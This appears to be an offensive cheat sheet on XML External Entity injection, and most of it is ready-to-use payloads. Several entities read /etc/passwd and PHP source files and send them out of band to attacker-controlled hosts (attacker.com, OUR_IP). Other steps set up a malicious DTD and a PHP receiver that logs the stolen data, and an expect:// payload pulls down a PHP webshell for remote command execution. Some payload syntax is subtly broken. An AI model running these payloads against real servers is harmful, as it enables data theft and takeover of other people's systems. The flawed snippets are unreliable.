XML External Entities (XXE)

Introduction

An XML External Entity Injection (XXE) vulnerability occurs when a web application uses outdated or insecure XML parsers that allow external entity processing. If the application accepts XML input from users and fails to properly configure the parser, an attacker may craft malicious XML data to gain unauthorized access to local files or system information on the back-end server.

In an XXE attack, the adversary defines a custom entity within the XML Document Type Definition (DTD) to extract sensitive data such as configuration files, credentials, or even portions of the application’s source code. These exposed files may contain critical information, including database passwords, API keys, or environment variables.

Beyond data disclosure, XXE vulnerabilities can be exploited to perform more severe attacks such as conducting internal network scans, or, in extreme cases, achieving remote code execution


Resources and Tools


XXE Basic Payloads

Define External Entity to a URL <!ENTITY xxe SYSTEM "http://example.com">

Define External Entity to a local file path (XXE Local File Disclosure) <!ENTITY xxe SYSTEM "file:///etc/passwd">

Reading a file using OOB (out-of-band) exfiltration <!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">


Identifying XXE Candidates

1

Find XML upload endpoints Look for endpoints that accept XML files or raw XML in the request body. Typical indicators include a Content-Type of application/xml or text/xml.

2

Inject an external entity Using a payload like <!DOCTYPE foo [ <!ENTITY &xxe "my entity value" > ]> After the XML DTD, which is basically the starting xml tag, such as <xml version="1.0" encoding="UTF-8?>)

3

Reference the entity Add a reference to the injected entity inside the XXE vector as follows: <VulnerableTag> &xxe; </VulnerableTag>

4

Case 1 - Check the results If "my entity value" is reflected in the application's response, you might have identified a valid XXE entrypoint. If the paylad was not reflected, go to the next step.

5

Case 2 - Check for a blind XXE The absence of a visible reflection doesn’t rule out entity processing — the parser may still resolve entities even if they aren’t echoed back. Try leveraging blind XXE payloads to check whether the entity is processed.


Blind XXE using Out of Band Exfiltration

If your XML input is not being reflected inside the application's responses, you can't visually (directly) tell whether the external entity was parsed. In this case, you can leverage out of band (OOB) exfiltration techniques to send a request from the XML parser to a server you own.

This techniques involves hosting a malicious DTD on the attacker's system, and then invoking the external DTD from within the XXE payload.

An example of a malicious DTD to exfiltrate the contents of the /etc/passwd file is as follows:

malicious.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
DTD payload explaination

This DTD carries out the following steps:

  • Defines an XML parameter entity called file, containing the contents of the /etc/passwd file.

  • Defines an XML parameter entity called eval, containing a dynamic declaration of another XML parameter entity called exfiltrate. The exfiltrate entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the file entity within the URL query string.

  • Uses the eval entity, which causes the dynamic declaration of the exfiltrate entity to be performed.

  • Uses the exfiltrate entity, so that its value is evaluated by requesting the specified URL.

The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. Finally, the attacker must submit the following XXE payload to the vulnerable application:

injected.xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

This XXE payload declares an XML parameter entity called xxe and then uses the entity within the DTD. This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline. The steps defined within the malicious DTD are then executed, and the /etc/passwd file is transmitted to the attacker's server.


OOB Exfiltration via CDATA

  1. Inject the following payload:

<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
  <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>
  1. Host a DTD file on our Kali machine: echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd

  2. Start an HTTP server: python3 -m http.server

  3. Reference the xxe entity to print the file content (e.g. use &xxe; in any reflected tag)


XXE Remote Code Execution via PHP Expect Wrapper

  1. Write the webshell in a file: echo '<?php system($_REQUEST["cmd"]);?>' > shell.php

  2. Start a webserver: python3 -m http.server 80

  3. Use the following XXE Payload:

    <?xml version="1.0"?>
    <!DOCTYPE email [
      <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
    ]>
  4. Use a reference to the previously defined entity inside a reflected XML tag: <email>&xxe;</email>


XXE Fully Blind data Exfiltration (Out of Band (XXE))

  1. Write the following xxe.dtd file on our Kali machine:

    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
  2. Write the following index.php file on our Kali machine:

    <?phpif(isset($_GET['content'])){
     error_log("\n\n" . base64_decode($_GET['content']));
    }
    ?>
  3. Start a php webserver (in the same folder as index.php): php -S 0.0.0.0:8000

  4. Use the following XXE Payload:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE email [
      <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
      %remote;
      %oob;
    ]>
  5. Reference the XXE entity in a reflected XML parameter: <root>&content;</root>